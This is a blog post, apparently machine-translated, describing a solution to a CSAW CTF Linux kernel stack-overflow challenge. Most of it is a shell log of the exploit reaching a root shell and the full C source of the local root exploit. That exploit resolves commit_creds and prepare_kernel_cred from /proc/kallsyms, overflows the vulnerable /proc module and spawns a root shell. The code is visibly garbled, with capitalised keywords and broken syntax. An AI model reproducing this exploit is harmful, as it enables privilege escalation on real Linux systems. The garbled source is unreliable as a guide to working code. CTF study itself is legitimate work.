Jon Oberheide presents a kernel exploitation challenge on CTF:
Http://jon.oberheide.org/blog/2010/11/02/csaw-ctf-kernel-exploitation-challenge,
It is actually a kernel stack overflow. It is said that only one team completed the exploit program and obtained the Customs Clearance file during the given period. I tried exploit over the weekend and exploit was successful on my 2.6.32 kernel. However, according to Jon Oberheide, their kernel opened the CC_STACKPROTECTOR option to prevent kernel stack overflow. So I re-compiled the kernel and found that the original exploit program was indeed unavailable. Although Jon Oberheide intentionally left a kernel memory leakage vulnerability in the LKM module to help you with the bypass CC_STACKPROTECTOR option, this technical challenge is met, we found that the CC_STACKPROTECTOR option of the new kernel can well resist the overflow of the kernel stack overflow. The kernel can try to enable this option to defend against the kernelstack overflow 0day attack. The exploit before the CC_STACKPROTECTOR option is not enabled is as follows, if you are interested, you can continue to try bypassCC_STACKPROTECTOR:
[Wzt @ localhost csaw] $./exp 128
[+] Looking for symbols...
[+] Found commit_creds addr at 0xc0446524.
[+] Found prepare_kernel_cred addr at 0xc0446710.
[+] Open/proc/csaw OK.
[+] Write 128 bytes to/proc/csaw.
[+] We are root!
Sh-3.2 # id
Uid = 0 (root) gid = 0 (root)
Sh-3.2 # uname-
Linux localhost. localdomain 2.6.32 #3 SMP Sat Dec 25 12:23:19 CST 2010
I686 i686 i386 GNU/Linux
Sh-3.2 #
# Include <stdio. h>
# Include <stdlib. h>
# Include <string. h>
# Include <unistd. h>
# Include <fcntl. h>
# Include <limits. h>
# Include <inttypes. h>
# Include <sys/types. h>
# Include <sys/ipc. h>
# Include <sys/sem. h>
# Include <sys/shm. h>
# Include <sys/mman. h>
# Include <sys/stat. h>
# Define KALLSYMS_NAME "/proc/kallsyms"
# Define USER_CS 0x73
# Define USER_SS 0x7b
# Define USER_FL 0x246
# Define STACK (x) (x + sizeof (x)-40)
Void exit_code ();
Char exit_stack [1024*1024];
Static void exit_kernel ();
Typedef int _ attribute _ (regparm (3) (* _ commit_creds) (unsigned long
Cred );
Typedef unsigned long _ attribute _ (regparm (3 )))(*
_ Prepare_kernel_cred) (unsigned long cred );
_ Commit_creds;
_ Prepare_kernel_cred;
Int (* kernel_printk) (const char * fmt ,...);
Static unsigned int uid, gid;
Int _ attribute _ (regparm (3 )))
Kernel_code (struct file * file, void * vma)
{
Commit_creds (prepare_kernel_cred (0 ));
Exit_kernel ();
Return-1;
}
Static inline _ attribute _ (always_inline) void * get_current ()
{
Unsigned long curr;
_ Asm _ volatile __(
"Movl % esp, % eax ;"
"Andl % 1, % eax ;"
"Movl (% eax), % 0"
: "= R" (curr)
: "I "(~ 8191)
);
Return (void *) curr;
}
Static inline _ attribute _ (always_inline) void exit_kernel ()
{
_ Asm _ volatile __(
"Movl % 0, 0x10 (% esp );"
"Movl % 1, 0x0c (% esp );"
"Movl % 2, 0x08 (% esp );"
"Movl % 3, 0x04 (% esp );"
"Movl % 4, 0x00 (% esp );"
"Iret"
: "I" (USER_SS), "r" (STACK (exit_stack), "I" (USER_FL ),
"I" (USER_CS), "r" (exit_code)
);
}
Void test_kernel_code (void)
{
Kernel_printk = 0xc01097ab;
Kernel_printk ("We are in kernel .");
Exit_kernel ();
}
Void exit_code ()
{
If (getuid ()! = 0 ){
Fprintf (stderr, "[-] Get root failed ");
Exit (-1 );
}
Printf ("[+] We are root! ");
Execl ("/bin/sh", "sh", "-I", NULL );
}
Unsigned long find_symbol_by_proc (char * file_name, char * symbol_name)
{
FILE * s_fp;
Char buff [200];
Char * p = NULL, * p1 = NULL;
Unsigned long addr = 0;
S_fp = fopen (file_name, "r ");
If (s_fp = NULL ){
Printf ("open % s failed.", file_name );
Return 0;
}
While (fgets (buff, 200, s_fp )! = NULL ){
If (strstr (buff, symbol_name )! = NULL ){
Buff [strlen (buff)-1] =;
P = strchr (buff,) + 1 ,);
++ P;
If (! P ){
Return 0;
}
If (! Strcmp (p, symbol_name )){
P1 = strchr (buff ,);
* P1 =;
Sscanf (buff, "% lx", & addr );
// Addr = strtoul (buff, NULL, 16 );
Printf ("[+] found % s addr at 0x % x .",
Symbol_name, addr );
Break;
}
}
}
Fclose (s_fp );
Return addr;
}
Void trigger (int len)
{
FILE * fp;
Char buff [128];
Uid = getuid ();
Gid = getgid ();
Setresuid (uid, uid, uid );
Setresgid (gid, gid, gid );
Printf ("[+] looking for symbols ...");
Commit_creds = (_ commit_creds)
Find_symbol_by_proc (KALLSYMS_NAME, "commit_creds ");
If (! Commit_creds ){
Printf ("[-] not found commit_creds addr .");
Return;
}
Prepare_kernel_cred =
(_ Prepare_kernel_cred) find_symbol_by_proc (KALLSYMS_NAME,
"Prepare_kernel_cred ");
If (! Prepare_kernel_cred ){
Printf ("[-] not found prepare_kernel_cred addr .");
Return;
}
Fp = fopen ("/proc/csaw", "w ");
If (! Fp ){
Perror ("fopen ");
Return;
}
Printf ("[+] open/proc/csaw OK .");
Printf ("[+] write % d bytes to/proc/csaw.", len );
Memset (buff, 0x41, len );
* (Int *) (buff + 64 + 8) = (int) kernel_code;
Fwrite (buff, 1, 64 + 8 + 4, fp );
Fclose (fp );
}
Void usage (char * pro)
{
Fprintf (stdout, "usage: % s <len>", pro );
}
Int main (int argc, char ** argv)
{
If (argc = 1 ){
Usage (argv [0]);
Return 0;
}
Trigger (atoi (argv [1]);
Return 0;
}